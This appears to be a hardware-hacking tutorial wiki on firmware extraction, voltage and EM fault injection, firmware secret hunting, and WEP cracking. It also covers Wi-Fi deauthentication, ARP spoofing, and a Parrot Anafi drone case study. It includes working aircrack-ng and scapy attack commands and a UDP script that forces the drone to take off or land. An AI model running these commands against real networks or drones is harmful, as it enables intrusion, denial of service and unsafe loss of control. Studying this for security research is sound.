\=> Jump to the [Analyze Firmware](/hardware-hacking/analyze-firmware) section ## Resources * [Extracting firmware from devices using JTAG](https://sergioprado.blog/2020-02-20-extracting-firmware-from-devices-using-jtag/) * [Hardware Debugging for Reverse Engineers Part 2: JTAG, SSDs and Firmware Extraction](https://wrongbaud.github.io/posts/jtag-hdd/) # VE.Direct ## **Theory** The VE.Direct protocol is a communication interface developed by Victron Energy, primarily for their energy monitoring products. This protocol is designed for real-time data exchange between devices like Battery Management Systems (BMS), solar charge controllers, and various monitoring devices. VE.Direct uses a simple serial connection with a standard UART interface, enabling data transfer at a low baud rate (commonly 19,200 bps). This protocol is especially useful for monitoring device metrics, such as voltage, current, and battery capacity, which can be helpful for energy management and control. Data in VE.Direct is mainly transmitted as ASCII text in a predefined message format, making it easy to parse and interpret. During setup of a new connected device, there might be also hex strings transmitted. The protocol's simplicity is a double-edged sword: while it’s efficient for quick data retrieval, the lack of encryption or authentication makes it susceptible to interception or manipulation if physical access is available. This feature is crucial for pentesters as it opens the door for potential vulnerabilities, especially if critical devices rely on VE.Direct for automated decision-making processes. Serial configuration of VE.Direct: Baud rate: 19200 Data bits: 8 Parity: None Stop bits: 1 Flow control: None

Pinout of VE.DIrect connector

**Pinout:** 1= GND 2=RX 3=TX 4= Power (5V) **Message format:** VE.Direct has a number of possible fields, here we exaplain a few common: | Field | Example Value | Description | | -------- | ------------- | -------------------------------------------------------------------------------------------------- | | PID | 0xA053 | Product ID of the device, used to identify the specific model and type of device. | | FW | 137 | Firmware version, useful for knowing the device’s software version. | | SER# | XXXXXX | Serial number of the device, typically unique to each device. | | V | 11680 | Battery voltage in millivolts (mV). Here, 11680 mV equals 11.68 V. | | I | 0 | Battery current in milliamperes (mA). Positive values mean charging, negative indicate discharge. | | VPV | 10 | Panel voltage in mV. Shows the voltage from connected solar panels. | | PPV | 0 | Panel power in watts (W), calculated as voltage times current of the panels. | | CS | 0 | Charge state indicator, where 0 means "Off" and higher values indicate other charging states. | | MPPT | 0 | Maximum Power Point Tracking (MPPT) mode; 0 means disabled. | | ERR | 0 | Error code; 0 indicates no error. Different values represent various error states. | | LOAD | ON | Load output status; "ON" means the load output is active. | | IL | 0 | Load current in mA, showing the current drawn by the load. | | H19 | 83 | Yield total in kilowatt-hours (kWh), representing the total energy yield since installation. | | H20 | 83 | Yield today in kWh, showing energy produced in the current day. | | H21 | 0 | Maximum power today in W, showing peak power achieved. | | H22 | 0 | Maximum power yesterday in W, showing peak power from the previous day. | | H23 | 0 | Yield yesterday in kWh, showing energy produced the previous day. | | HSDS | 0 | Day sequence number; increments daily and helps track historical data over time. | | Checksum | \xF0 | The checksum is correct, if the sum of whole massage (including the checksum) equals 0 modulo 256. | ## **Attacks** ### Sniffing To sniff what data is send over VE.Direct we can use tools like an UART-to-TTL USB adapter or Saleae Logic Analyzer: {% tabs %} {% tab title="UART-to-TTL" %} We have to connect RX,TX and GND to our adapter and start minicom etc. on baud rate 19200 ```bash sudo minicom -D /dev/ttyUSB0 -b 19200 sudo picocom -b 19200 -r -l /dev/ttyUSB0 ``` The output may look like this: (Serial number blanked) ``` PID 0xA053 FW 137 SER# XXXXXX V 11680 I 0 VPV 10 PPV 0 CS 0 MPPT 0 ERR 0 LOAD ON IL 0 H19 83 H20 83 H21 0 H22 0 H23 0 HSDS 0 Checksum \xF0 PID 0xA053 FW 137 SER# XXXXX V 11650 I 0 VPV 10 PPV 0 CS 0 MPPT 0 ERR 0 LOAD ON IL 0 H19 83 H20 83 H21 0 H22 0 H23 0 HSDS 0 Checksum \xD4 ``` {% endtab %} {% tab title="Saleae Logic" %} Connect GND, RX and TX to your Saleae and start an Async Serial Analyzer at baud rate 19200

Intercepted Data of an MPPT controller

{% endtab %} {% endtabs %} ### Spoofing Since the VE.Direct protocol does not require authentication, we can also spoof our own packages and send them to the control panel, which will then be accepted. Therefore we can simply record a original message and then replay it. We can also change every parameter of this message, this however requires us to change the Checksum accordingly. ## Resources * [VE.Direct Protocol (PDF)](https://www.victronenergy.com/upload/documents/VE.Direct-Protocol-3.33.pdf) * [Python library for decoding the Victron Energy VE.Direct text protocol](https://github.com/karioja/vedirect) # Bypassing Security Some chips you find security mechanisms like read-out-protection may implemented, which prevent you from reading out firmware from chips. In this chapter we discribe how to bypass them. # Voltage Glitching ## **Theory** Voltage glitching is a type of fault injection attack where an attacker manipulates the power supply voltage of a system to induce errors in its operations. It exploits the vulnerability of electronic circuits, particularly when they are under abnormal operating conditions. By temporarily lowering or increasing the supply voltage at critical moments, attackers can disrupt the normal execution flow of a processor or microcontroller. This can lead to skipping instructions, bypassing security checks, or triggering unintended behavior in the system. Voltage glitching is especially effective in embedded systems, as they often lack sophisticated protection mechanisms against such physical attacks. The effectiveness of voltage glitching depends on the timing (offset) and precision of the glitch. Well-timed glitches can cause subtle and hard-to-detect faults that compromise system integrity. These attacks often require physical access to the device, as the power supply needs to be manipulated directly. ## Usage * A common scenario where voltage glitching can be applied is in bypassing secure boot mechanisms of microcontrollers or smart cards. * The attacker connects a controllable power supply to the target device's power input. * Using specialized equipment, the attacker introduces short, rapid voltage drops during critical phases, such as the authentication process or when the secure bootloader is verifying firmware. * By timing the glitches precisely, the attacker can disrupt verification routines, causing the system to mistakenly accept unauthorized firmware or bypass security checks entirely. * For example, an attacker targeting a microcontroller running a protected bootloader might attempt voltage glitching to bypass code signing checks: * First, they monitor the power consumption patterns of the device during the boot process to identify the moment when security checks occur. * Next, they configure the voltage glitcher to induce a power drop at the identified time window. * If successful, the security check fails, and the system proceeds with unauthorized code execution. Always try to desolder the target chip from the actual PCB, as components like capacitors will weaken the glitch: 1. An optimal voltage glitch without a target connected can be seen in this figure, looks like this:

An optimal voltage glitch without a target connected can be seen in this figure

2. If you connect the whole PCB, it may look like this. (no sharp edges)

1

3. Glitch (blue line) with soldered off target chip, looks more like the optimal glitch.

best glitch

Desoldered chip

## Resources * [Glitching An ATMega328P Has Never Been Simpler](https://hackaday.com/2024/06/03/glitching-an-atmega328p-has-never-been-simpler/) * [Episode 4 – Power Glitch Attack](https://www.ledger.com/academy/series/enter-the-donjon/episode-4-power-glitch-attack) # Example: LPC1768 In this chapter I want to give you an example of how glitching attacks work in detail. Scenario: LPC1768 has a Code Read Protection (CRP) set, so that we can't access its JTAG interface. ## The Target: LPC1768 The NXP LPC1700 MCU family is built on an ARM Cortex M3 core, offering a balance of performance and power efficiency. NXP provides four security levels, including CRP0, which allows unrestricted access. The MCU supports UART and JTAG interfaces and includes a bootloader that operates via UART. To activate the bootloader, the Reset pin and P2.10 pin must be held low. Synchronization with a connected machine is initiated by sending the “?” character to the MCU, which responds with “Synchronized/\r\n.” The user must then resend this response to receive “OK\r\n.” Next, the user sets the clock rate to 12 MHz by sending “12000\r\n,” to which the LPC responds with “OK\r\n.” After synchronization, the user can read 4 bytes from address 0 using the command “R 0 4\r\n,” which returns the data and confirms with “OK\r\n.” If access is denied due to insufficient rights, the MCU responds with the error code “19.” Different Code Read Protection (CRP) levels on NXP LPC17xx chips (every other pattern will result in CRP0=full access):
## Thoughts and Strategy Here are some key features and thought to keep in mind * CRP Level Determination: * Is set during the bootup process of the bootloader. * The bootloader reads a value(CRP level) from a specific flash offset preset by the manufacturer. * CRP Level Vulnerability: * Each non-specific value defaults to CRP Level 0. * Only a single bit flip can deactivate the CRP level, making it fragile. * Security Bypass: * Voltage glitching could potentially bypass the CRP security mechanism. * **Concept**: Implement a glitch tactic where none of the CRP values are interpreted correctly, defaulting the system to CRP0. This vulnerability could potentially allow unrestricted access to the device * But we are not sure when the CRP check is performed after reset, and what exact parameter the glitch should have (offset, width, voltage), so we need to bruteforce those ## Setup

Glitch setup with FPGA

* Setup for Glitching: * Connect GND, VCC, P2.10, and RESET pins with the voltage glitch FPGA. * Connect GND, RXD, and TXD with a serial to USB cable. * The FPGA powers the LPC and enables the bootloader while holding P2.10 and RESET low. * Glitch Parameter Configuration: * Use a Python script which will brute force the glitch parameters (offset, voltage level and width of glitch) * Step-by-step: 1. target chip starts 2. we will perform a glitch (varying offset, width and voltage of glitch) 3. perform UART check if we can read data “R 0 4 \r \n” 4. if error code "19" is read, start with new parameters 5. run until we can read data => then we have a successful glitch According to Andrea Baccega if the Brown-Detection (which resets the chip, if the voltage is too low) is enabled, you can disable it [by connecting P2\[13\] of LPC1768 to GND upon boot.](https://github.com/vekexasia/lpc_voltage_glitch_test) ## Resources \*[Voltage glitcher test for LPC1768](https://github.com/vekexasia/lpc_voltage_glitch_test) # Pico Glitcher There are several open source glitchers available already for low budgets (like the Faultier from [Hextree.io](https://hextree.io)). In this page we want to introduce the Pico Glitcher 2 developed by Matthias Kesenheimer, which costs about $64, which is considerable less expensive than professional tools like the [ChipWhisperer-Husky](https://www.crowdsupply.com/newae/chipwhisperer-husky) for $630. ### Overview The Pico Glitcher uses a **Raspberry Pi Pico** to control a **MOSFET**, which is responsible for generating voltage glitches. The **Findus library** (also known as the *fault-injection-library*) is a Python library that provides the necessary code to perform voltage glitching attacks using the Pico Glitcher. The Pico Glitcher is under active development. This page is based on **Pico Glitcher version 2.1**. If you are using a newer version, please verify that the information provided here still applies.

Pico Glitcher v2.1

### Example #### STM8S The developer of the Pico Glitcher provides a dedicated target board on his website, allowing users to easily test the Pico Glitcher. This setup uses a **custom-made target board** featuring an **STM8S microcontroller** running **custom firmware**. The STM8S microcontroller uses its built-in **UART bootloader**, which normally enforces **Read-Out Protection (ROP)** to prevent access to the flash memory. When ROP is enabled, the bootloader should reject read-memory commands sent over UART. The goal of the attack is to **bypass ROP** by injecting a precisely timed voltage glitch while the bootloader checks the ROP status. If the glitch is successful, the protection check is skipped or mis-evaluated, causing the bootloader to incorrectly allow flash memory reads. Full details of this attack can be found here: When you run the attack with this command: ``` python stm8-readmemory.py --rpico /dev/ttyACM0 --target /dev/ttyUSB0 --delay 90_000 100_000 --length 90 110 ``` In this setup, the Pico Glitcher injects voltage glitches with a delay between **90,000 and 100,000 ns** and a glitch length between **90 and 110 ns**. During execution, many attempts will fail, producing *“read memory command fail”* errors. Eventually, a successful glitch occurs, allowing the protected memory region to be read and effectively bypassing ROP.

Successfull glitch

The Pico Glitcher also provides a convenient visualization feature that graphically displays the different glitch attempts, making it easy to identify the timing window in which the glitching attack was successful.

Graphical view

## Conclusion In my experience, the Pico Glitcher is a very solid choice for getting started with voltage glitching. It is affordable, easy to set up, and still powerful enough to demonstrate real and reproducible fault injection attacks. The combination of clear tooling, an actively maintained library, and practical examples like the STM8S target makes the learning curve much less intimidating. If you want to move from theory to hands-on voltage glitching without immediately investing in expensive professional equipment, the Pico Glitcher is a great platform to begin with and to build confidence before progressing to more advanced setups. # Electromagnetic Fault Injection ## **Theory** Electromagnetic Fault Injection (EMFI) is a type of fault injection attack where an attacker manipulates the current flowing inside a CPU with the help of electromagnetic induction. With the operations inside of an Integrated Circuit (IC) being controlled by the current flowing between and controlling the transistors, manipulating this current might result in faults being injected. EMFI is based on the physical principle of 'Electromagnetic Induction', which in itself is described through Faraday's law of induction. The law can be used to show how an electric circuit will produce a force known as electromagnetic induction when interacting with a magnetic field. In general, this means that by using magnetic fields, it is possible to induct a current into an electrical circuit. Manipulating the current flowing inside the IC poses a chance of changing certain registers or states and therefore allowing an attacker to tamper with the system. By sending a short, but strong current through a coil, it creates a magnetic field around said coil. Placing the coil above a chip then ideally induces a voltage in the IC of that chip. This potentially disrupts the normal execution flow of the processor or microcontroller. Based on the location and timing of the pulse, it allows an attacker to possibly induce faults and trigger unintended behaviour in the system. The effectivness of EMFI depends on the timing and duration of the sent pulse, the strenght of the magnetic field (which is related to the current running through the coil, and the parameters of the coil itself) and the location of the coil next to the chip. In contrast to other fault injection techniques, EMFI allows for glitching without necessarily having to tamper with the board itself. Other types of fault injection often require desoldering capacitors or decapsulating processors. With the coil being simply placed on top of the processor, manipulating the hardware of the board being attacked is usually not required. ## Usage * A common scenario where EMFI can be applied is in bypassing secure boot mechanisms of microcontrollers. * The attacker sets up an EMFI device (like a PicoEMP or ChipShouter), placing a coil above the processor. * Using this equipment, an attacker sends a short pulse of power through the attached coil. The magnetic field around the coil induces a current in the IC of the processor. * By timing the glitches precisely, the attacker migth disrupt verification routines, causing the system to mistakenly accept unauthorized firmware or bypass security checks entirely. * For example, an attacker targeting a microcontroller running a protected bootloader might attempt EMFI glitching to bypass code signing checks: * First, they monitor the power consumption patterns of the device during the boot process to identify the moment when security checks occur. * Next, they configure the EMFI device to send a pulse at the timing of the check. Having a precise timing and the exact location where on the chip the check is taking place will increase the chance of the induced current being able to manipulate the system in a way where it, for example, skips the check entirely. * If successful, the security check fails, and the system proceeds with unauthorized code execution. ## Resources \*[Electromagnetic Fault Injection](https://circuitcellar.com/research-design-hub/electromagnetic-fault-injection/) \*[A Compact Electromagnetic Fault Injection Setup](https://www.ledger.com/blog/compact-em) \*[Electromagnetic fault injection: the curse of flip-flops](https://hal.science/lirmm-01430913/) ## Page Contributors * # Analyze Firmware After you successfully obtained a firmware dump, it's time to analyze its content. ## **Quick wins** binwalk is the goto option for quickly analyzing your firmware * Identify data * `binwalk firmware.bin` : will give you an overview which contents are found in the dump * **Example Output:** ```bash DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 U-Boot bootloader image, header size: 64 bytes, load address: 0x80800000, entry point: 0x80800000, CRC32: 0xFFFFFFFF 64 0x40 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 524288 bytes 1024 0x400 Linux kernel ARM boot executable zImage (little-endian) 1048576 0x100000 Squashfs filesystem, little endian, version 4.0, compression: lzma, size: 262144 bytes, 1198 inodes, blocksize: 131072 bytes, created: Mon Jan 1 00:00:00 2024 ``` * Extract Firmware * `binwalk -e firmware.bin` : will try to automatically extract all content => will often give us full root-filesystem. * Example:

Example extraction of a firmware

* Entropy Analyiss * `binwalk -E firmware.bin`This will give us the entropy of the firmware * Note: parts of very high entropy can be sign for compression or encryption being used. * Example Output:

Here we see a blob which might be encrypted or compressed


The `strings` command can be helpful to quickly find sensitive data like passwords or password hashes: * **Password Hashes:** ```bash strings firmware.bin | grep -E ':[x$1$5$6]:' ``` * **Hardcoded Credentials** ```bash strings firmware.bin | grep -i 'password' strings firmware.bin | grep -i 'user' strings firmware.bin | grep -i 'admin' strings firmware.bin | grep -i 'login' ``` * **Private Keys and Certificates** ```bash strings firmware.bin | grep -i 'PRIVATE KEY' strings firmware.bin | grep -i 'BEGIN RSA' strings firmware.bin | grep -i 'BEGIN DSA' ``` * **API Keys, Tokens, and Secrets** ```bash strings firmware.bin | grep -i 'api_key' strings firmware.bin | grep -i 'token' strings firmware.bin | grep -i 'secret' ``` * **IP Addresses and URLs** ```bash strings firmware.bin | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' strings firmware.bin | grep -E 'http://|https://' strings firmware.bin | grep -i 'ftp' ``` * **Configuration Files** ```bash strings firmware.bin | grep -i '.conf' strings firmware.bin | grep -i '.ini' strings firmware.bin | grep -i '.xml' ``` * **Encryption Keys and Passwords** ```bash strings firmware.bin | grep -i 'encryption_key' strings firmware.bin | grep -i 'aes' strings firmware.bin | grep -i 'des' strings firmware.bin | grep -i 'key=' ``` * **Version Information** ```bash strings firmware.bin | grep -i 'version' strings firmware.bin | grep -i 'build' ``` * **Debug Information** ```bash strings firmware.bin | grep -i 'debug' strings firmware.bin | grep -i 'trace' strings firmware.bin | grep -i 'error' strings firmware.bin | grep -i 'fail' ``` * **Email Addresses** ```bash strings firmware.bin | grep -E '\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b' ``` * **Encryption/Decryption Routines** ```bash strings firmware.bin | grep -i 'openssl' strings firmware.bin | grep -i 'encrypt' strings firmware.bin | grep -i 'decrypt' ``` * **Default and Backup Files** ```bash strings firmware.bin | grep -i 'default' strings firmware.bin | grep -i 'backup' ``` * **SSH Information** ```bash strings firmware.bin | grep -i 'ssh' strings firmware.bin | grep -i 'port' ``` ## Analysis of bare metal firmware Todo Resources: * [Binwalk: Firmware Analysis Tool](https://github.com/ReFirmLabs/binwalk) * [Analysing and extracting firmware using Binwalk 3.1.0 in 2025](https://fr3ak-hacks.medium.com/analysing-and-extracting-firmware-using-binwalk-982012281ff6) * [Reverse engineering my router's firmware with binwalk](https://sergioprado.blog/reverse-engineering-router-firmware-with-binwalk/) # Introduction While analyzing the network communication of an IoT device we may identify services, obtain information or even gain access to the device. Use tools like `nmap` and `Wireshark` to passively monitor or actively test network and wireless communications (e.g., HTTP, MQTT, CoAP). Sometimes we also encounter proprietary network protocols, which need to be analyzed in depth. We are looking for information like the used operating system, program versions or known vulnerabilities. If we find web applications such as a web server, we should also examine these, as they could allow us to execute code if they are not configured correctly. Learn more about web pentesting on dedicated websites [Hacktricks](https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology). If we can login to the device, we may also check configuration settings and access control management. Goals: Exploit vulnerabilities (RCE, LFI), gain information, firmware extraction\ Things to look for: Protocols (SSH, Telnet, FTP), web # Reconnaissance ## Theory Testing a hardware device over Ethernet helps assess network vulnerabilities, intercept sensitive data, and identify exposed services or misconfigurations. This is especially useful for hardware devices that connect to the network, like IoT devices, routers, and industrial equipment. ## Usage 1. Check open ports with nmap: 1. A simple Nmap scan can show what services are running on the device: ```bash nmap # often devices have a static ip check manual ``` **Example Output:** ```bash Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 14:23 Nmap scan report for 192.168.1.100 Host is up (0.00045s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https ``` 2. You can also use appropriate flags like: 1. `-sV`: Version Detection 2. `-sC`: Default Script Scan 3. `-A`: Aggressive Scan 4. `-p-`: Scan All Ports 5. `-sU`: UDP Scan 6. `--script vuln` : Runs a vulnerability check 3. Try common credentials like: admin/admin etc. also google default creds! 2. Webserver available? 1. Use common tools like `burbsuite`, `gobuster` or `nikto` to identify hidden content or vulnerabilities 2. There are enough websites who showcase web-pentests, like hacktricks.xzy. Check them out! 3. You can change configurations? 1. Explore and experiment, always aiming to enhance access to advanced 3. Firmware Updates! 1. This is also a very interesting field, as we get the chance to intercept the firmware 2. Setup: 1. Setup Wireshark to intercept all traffic from the target device 2. Start the firmware update 3. If the firmware is not encrypted, we can recover it from the Wireshark capture 3. If the firmware is uploaded via FTP, there could be a race condition, where we can download the firmware before it gets deleted from the FTP share 4. Try to investigate how the firmware update works, and think of how you can intercept it! 5. Once captured, we can extract password or sensitive data from it ## Resources * [Nmap webiste](https://nmap.org/) * [Wireshark website](https://www.wireshark.org/download.html) # Protocols # WIFI In this chapter we introduce some wirless protocols, which are relevant in hardware hacking. # WEP ## Theory WEP is a security protocol designed to provide a wireless local area network (WLAN) with a level of security and privacy comparable to what is usually expected of a wired LAN. Although WEP was designed to ensure that only authorized users can access the wireless network and to encrypt data transmissions, it has several vulnerabilities that make it ineffective for securing wireless networks today. #### Vulnerabilities: * Encryption: WEP uses the RC4 stream cipher for encryption, with a fixed key length of 40 bits or 104 bits. * Integrity Check: WEP includes a cyclic redundancy check (CRC) for data integrity, but it does not provide strong authentication or key management. * Weak encryption keys: The small key size (40 or 104 bits) and reuse of keys make it vulnerable to attacks. * IV (Initialization Vector) reuse: The IV used in WEP is not random enough, leading to predictable patterns that can be exploited. ### Requirements * Wireless Network Card: A card that supports monitor mode (e.g., Atheros, Ralink). * Linux OS: Kali Linux is commonly used for penetration testing. * Tools: * Aircrack-ng suite * Reaver * Wifite ## Attacks #### 1. **Packet Sniffing** Description: Capturing wireless packets transmitted over the WEP-encrypted network. Command Example: ```bash airodump-ng wlan0 ``` *Replace `wlan0` with your network interface in monitor mode.* #### 2. IV Injection Attack Description: Exploiting the predictable nature of the IVs used in WEP, allowing attackers to inject packets into the network. Command Example: ```bash aireplay-ng --arpreplay -b [Target_BSSID] -h [Your_MAC_Address] wlan0 ``` *Replace `[Target_BSSID]` with the target network's BSSID and `[Your_MAC_Address]` with your own MAC address.* #### 3. **WEP Key Cracking** Description: Capturing enough packets to recover the WEP key used for encryption. Command Example: ```bash aircrack-ng -b [Target_BSSID] [Capture_File].cap ``` *Replace `[Capture_File].cap` with the file containing the captured packets.* #### 4. WEP Deauthentication Attack Description: Forcing a client to disconnect from the network, which allows the attacker to capture the handshake process and collect more IVs. Command Example: ```bash aireplay-ng --deauth 10 -a [Target_BSSID] wlan0 ``` *Replace `10` with the number of deauthentication packets to send.* ## Resources: * [Aircrack-ng](https://www.aircrack-ng.org/index.html) * [Wi-Fi Hacking Series- Exploring WEP Attacks (Part-2)](https://vengeance.medium.com/wi-fi-hacking-series-exploring-wep-attacks-part-2-fbfc52cf9e7a) # Deauthentication Attacks ## Theory IoT devices are often either connected to a WiFi network or even host their own network for user to intact with it. A stable WiFi connection can be critical to some IoT devices.For example deauthentication is probably one of the most concerning things a drone pilot can experience, since when his controller is deauthenticated he is unable to control the drone appropriate. ## Cheat Sheet Using aireplay-ng ```bash # Put the wireless interface in monitor mode airmon-ng start wlan0 # Scan for networks to identify target AP and clients airodump-ng wlan0mon # (Optional) Focus scan on a specific channel to reduce noise airodump-ng -c wlan0mon # Perform deauthentication attack on a specific client aireplay-ng --deauth 10 -a -c wlan0mon # Deauthenticate all clients from the AP aireplay-ng --deauth 10 -a wlan0mon # Stop monitor mode on the wireless interface airmon-ng stop wlan0mon ``` ARP-Spoofing: ```bash # 1. Join the Target Network # Connect to the target network (no command, but ensure you're connected to the same network as the target device). # 2. Identify the Target Device and Controller nmap -sn # Scans the network to identify devices (replace with network range, e.g., 192.168.1.0/24) # 3. Capture a Legitimate ARP Response tcpdump -i arp -w arp_capture.pcap # Captures ARP packets to a file (replace with your network interface) # 4. Modify the ARP Response with a Spoofed MAC Address # Use a tool like `scapy` in Python to craft a spoofed ARP packet: from scapy.all import ARP, send packet = ARP(op=2, psrc="", hwsrc="", pdst="") send(packet, loop=1, inter=0.5) # 5. Replay the Spoofed ARP Packet to the Target Device tcpreplay --intf1= -l 0 arp_capture.pcap # Sends the modified ARP packet to the network continuously (replace ) # 6. Monitor the Connection Status # Observe the target device or controller for any indication of disconnection (e.g., disconnected light or notification). # 7. Stop the Attack # Stop sending packets by terminating the `tcpreplay` or ARP spoofing script (press Ctrl+C to end the process). ``` ## Usage {% tabs %} {% tab title="aireplay-ng" %} **1. Put the Wireless Interface in Monitor Mode** First, place your wireless network interface card in monitor mode. Replace `wlan0` (should be shown in `ifconfig`) with your interface name. ```bash airmon-ng start wlan0 ``` This will enable monitor mode on `wlan0` and may rename it to something like `wlan0mon`. **2. Identify Target Access Point and Clients** Next, use `airodump-ng` to find the BSSID (MAC address) of the access point (AP) and the client(s) connected to it. ```bash airodump-ng wlan0mon ``` Take note of the BSSID of the target AP and the channel it is operating on. **3. Deauthenticate Target Client** Use the `aireplay-ng` command to send deauthentication packets. Replace `wlan0mon` with your monitor interface, `AP_BSSID` with the BSSID of the access point, and `CLIENT_MAC` with the MAC address of the target client. * **Deauthenticate a specific client from an AP:** ```bash aireplay-ng --deauth 10 -a AP_BSSID -c CLIENT_MAC wlan0mon ``` Here, `10` is the number of deauth packets to send (you can increase or decrease this as needed). * **Deauthenticate all clients from an AP:** ```bash aireplay-ng --deauth 10 -a AP_BSSID wlan0mon ``` {% endtab %} {% tab title="ARP-Spoofing" %} **1. Join the Target Network** Connect to the target network you want to perform the attack on, as ARP spoofing requires the attacker to be within the same network. **2. Identify Target Device and Controller** Use a network scanning tool like `nmap` to identify the IP and MAC addresses of the device (e.g., a drone) and the controller. ```bash nmap -sn ``` Replace `` with the IP range (e.g., `192.168.1.0/24`). Note the IP and MAC addresses of both the target device and the controller. **3. Capture a Legitimate ARP Response** Use `tcpdump` to capture ARP responses in the network. Look for packets showing the controller’s IP and MAC association. ```bash tcpdump -i arp -w arp_capture.pcap ``` Replace `` with your network interface. This will save the ARP traffic to a file called `arp_capture.pcap`. **4. Modify the ARP Response with a Spoofed MAC Address** Using `scapy` in Python, craft a spoofed ARP packet to mislead the target device into associating the controller's IP with the attacker's MAC. ```python from scapy.all import ARP, send packet = ARP(op=2, psrc="", hwsrc="", pdst="") send(packet, loop=1, inter=0.5) ``` Replace `` with the controller’s IP, `` with your MAC address, and `` with the target device’s IP. **5. Replay the Spoofed ARP Packet to the Target Device** Send the modified ARP packet to the target device continuously to maintain the spoofed association. ```bash tcpreplay --intf1= -l 0 arp_capture.pcap ``` Replace `` with your network interface. This command replays the spoofed ARP response in a loop. **6. Monitor the Connection Status** Observe the target device or the controller to confirm the deauthentication. The controller should eventually show a "disconnected" status when it no longer receives responses. **7. Stop the Attack** To end the attack, stop sending spoofed ARP packets by terminating the replay or spoofing process (press `Ctrl+C` if running in a terminal). The target device should revert to the correct MAC association upon receiving a legitimate ARP response from the controller. {% endtab %} {% endtabs %} ## Resources * [Pentesting Wifi - Deauthentication Packets](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/pentesting-wifi/index.html) * [Wi-Fi deauthentication attack](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) # Application Layer In this chapter we introduce protocols on the application layer, which are relevant in hardware hacking. # Proprietary Protocols ## Theory Proprietary protocols are custom communication standards developed by companies to maintain control over their systems and ensure compatibility within their products. These protocols are especially common in IoT devices, where manufacturers often create proprietary solutions to streamline device communication, optimize power and bandwidth, or differentiate their products. However, the closed-source nature of these protocols limits external review, making them harder to analyze and a common target for pentesters. Familiarity with reverse engineering and protocol analysis tools is essential for examining proprietary protocols, which may rely on unique data encodings, custom headers, or non-standard ports. ## Usage General steps to analyze unknown protocols: * Capture network traffic from the hub * Isolate traffic using a network filter to capture packets only between the hub and its connected devices. * Analyze protocol behavior * Use *Wireshark* to observe packet structure, data fields, and any encryption. * Identify repetitive patterns or clear-text data, indicating weak encryption. * Reverse engineer the protocol * Create a custom dissector in Wireshark or use Python with Scapy to break down the packet structure. * Attempt to recreate protocol commands based on observed packet responses. * Validate findings * Replay modified packets to the hub, testing for unhandled commands, buffer overflow vulnerabilities, or bypassed authentication. ## Resources * [Network Protocol Analysis: The Art of Decoding Digital Footprints](https://sushantkatare.medium.com/network-protocol-analysis-the-art-of-decoding-digital-footprints-17638ed08343) * Jingliang Xue et al [Classification and identification of unknown network protocols based on CNN and T-SNE (PDF)](https://iopscience.iop.org/article/10.1088/1742-6596/1617/1/012071/pdf) # Parrot Anafi Drone Reverse Engineering In this example, we demonstrate how we reverse-engineered the communication between the Parrot Anafi consumer drone and its controller, which connect via Wi-Fi. The Parrot Anafi hosts its own Wi-Fi network, allowing either the controller or a phone running the Freeflight app to connect. Our goal was to understand the signals sent to the Anafi for initiating takeoff and landing sequences. ## Test Setup Start by connecting your PC to the Parrot Anafi’s Wi-Fi network. Next, set up an ARP spoofing attack to place your PC in a man-in-the-middle position between the drone and its controller. This can be accomplished using tools like Ettercap, allowing your device to capture the data exchanged between the two. The resulting test setup may look like this:

Parrot Anafi test setup

## Packet Analysis Using Wireshark, we can look at the packets, which are send during a landing and a starting sequence (picture shows just a snippet):

Example packet

We can see that the communication between the drone and the controller is done over UDP. Every UDP packet had some kind of hex string as payload, which was non-ASCII Next, we looked at the distribution of the packets send, of all packets send during one start and landing of the drone:

Distribution of UDP packet type during one start and landing

To distinguish which packet is responsible for the start and landing we captured 17 start and landings and saw that the amount of third type (length=53 bytes) of messages went from 2 to 34. Could this be the packet which controls the start/landing? since 17\*2=34 We can filter in Wireshark with `frame.len==53` to filter just for the start/landing packets:

Wireshark filter which only shows start and landing packets

The payload of the packets had a pretty clear structure: (here an example of a few) ``` 04 0b 0b 00 00 00 00 01 00 01 00 04 0b 0c 0b 00 00 00 01 00 03 00 04 0b 0d 0b 00 00 00 01 00 01 00 04 0b 0e 0b 00 00 00 01 00 03 00 04 0b 0f 0b 00 00 00 01 00 01 00 04 0b 10 0b 00 00 00 01 00 03 00 04 0b 11 0b 00 00 00 01 00 01 00 04 0b 12 0b 00 00 00 01 00 03 00 ``` After analyzing the protocol more, we could reverse the format of this type packet:

Structure of start and landing packets

## Attack Let's see if we can send our own packets from our PC to the drone, in order to start and land it, without using the controller. For that we setup a Python script (see below) to send a UDP packet with the payload `040bff0b000000300001000100` to the drone to start it. Note that we set the counter to `FF`, as packets are dropped by the drone if the counter value is less than the current counter. Using `FF` ensures it is always accepted. ```python import socket # Define target IP and ports target_ip = "192.168.42.1" destination_port = 2233 # Define the payload payload = bytes.fromhex("040bff0b000000300001000100") #for starts #payload = bytes.fromhex("040bff0b000000300001000300") #for landings # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Send the payload to the target IP and port sock.sendto(payload, (target_ip, destination_port)) # Close the socket sock.close() print(f"Payload sent to {target_ip}:{destination_port}") ``` And we did it! The drone performed its auto-start maneuver and was hovering above! In order to land the drone again we can send `040bff0b000000300001000300`to the drone. Note that the trigger byte (2nd last byte) was set to `03`. Notice, one does not need to change the MAC address to get these results. The Anafi processed the packages even though the laptop was not the primary controller at this time. If we spam either the takeoff or landing command, the following attacks can be exploited: 1. **Possible Attacks** 1. Prevent starts 1. The next experiment was to spam the landing command constantly, with the result that the drone was unable to start using the controller. The drone’s rotors were spinning for a second but then the landing command was received and the Anafi stopped the starting process. 2. Prevent landings 1. The same result could be achieved with spamming the starting package. If one presses the landing button on the controller or phone the drone started to go down, but as soon as the starting package from the laptop came in the drone stopped the landing and stared to hovering above the ground again. As a result, the phone user was unable to land the drone properly. ## Summary This case study shows why it is relevant to reverse network protocols when analyzing IoT devices. As an attacker, who has access to the Parrot Anafis WiFi network we can send unauthenticated packets to the drone and control its starts and landings. This can be done by any device, which can connect to WiFi networks. ## Resources * Bachelor Thesis, Jonas Rosenberger (me) * 